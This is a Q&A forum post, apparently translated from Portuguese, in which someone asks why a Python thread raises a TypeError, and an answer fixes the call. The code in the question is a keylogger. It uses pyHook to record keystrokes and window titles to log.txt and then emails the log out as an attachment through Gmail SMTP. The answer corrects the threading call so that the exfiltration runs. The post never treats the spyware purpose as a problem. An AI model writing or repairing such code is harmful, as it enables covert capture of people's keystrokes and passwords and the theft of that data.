TypeError: send_email () takes exactly 1 argument (0 given)

1

I have a code and I need to use threads, but always squeeze threads to give this error.

import pyHook
import pythoncom
import os
import threading
import time
import tempfile
import datetime
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders


def function(event, janela):
    arquivo = open('log.txt', 'a')
    with open(arquivo, 'a') as stream:
        if event.WindowsName != janela:
            janela = event.WindowsName
            stream.write('\n' + janela + ' - ' + str(event.Time) + '\n')
        stream.write(chr(event.Ascii))
    return janela


def pump():
    hook = pyHook.HookManager()
    hook.KeyDown = function
    hook.HookKeyboard()
    pythoncom.PumpMessages()


def send_email(arquivo):
    time.sleep(5)
    email_user = ''
    email_password = ''
    email_send = ''
    subject = '' + str(datetime.date.today())
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To'] = email_send
    msg['Subject'] = subject
    body = '[*] Logs file uploaded successfully!'
    msg.attach(MIMEText(body, 'plain'))
    filename = arquivo
    attachment = open(arquivo, 'rb')
    part = MIMEBase('application', 'octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition', "attachment; filename= " + filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(email_user, email_password)
    server.sendmail(email_user, email_send, text)
    server.quit()


w1 = threading.Thread(target=send_email(), args=[])
w = threading.Thread(target=pump())

w.start()
w1.start()
    
asked by anonymous 07.06.2018 / 15:24

1 answer

0

When you try to create the thread you are invoking the function, while the correct one would just pass the object representing the function.

Switch:

w1 = threading.Thread(target=send_email(), args=[])

By:

w1 = threading.Thread(target=send_email, args=[arquivo])
# Foram retirados os parenteses -------^          ^
# Foi adicionado o arquivo a ser enviado ---------+

The same for pump . Note that I have also added the object representing the file that will be emailed to args , which will be passed as a parameter to the function when the thread is run. With the parentheses, you are making the function call, however, because the function expects a parameter that is not being passed, gives the error quoted.

    
07.06.2018 / 15:28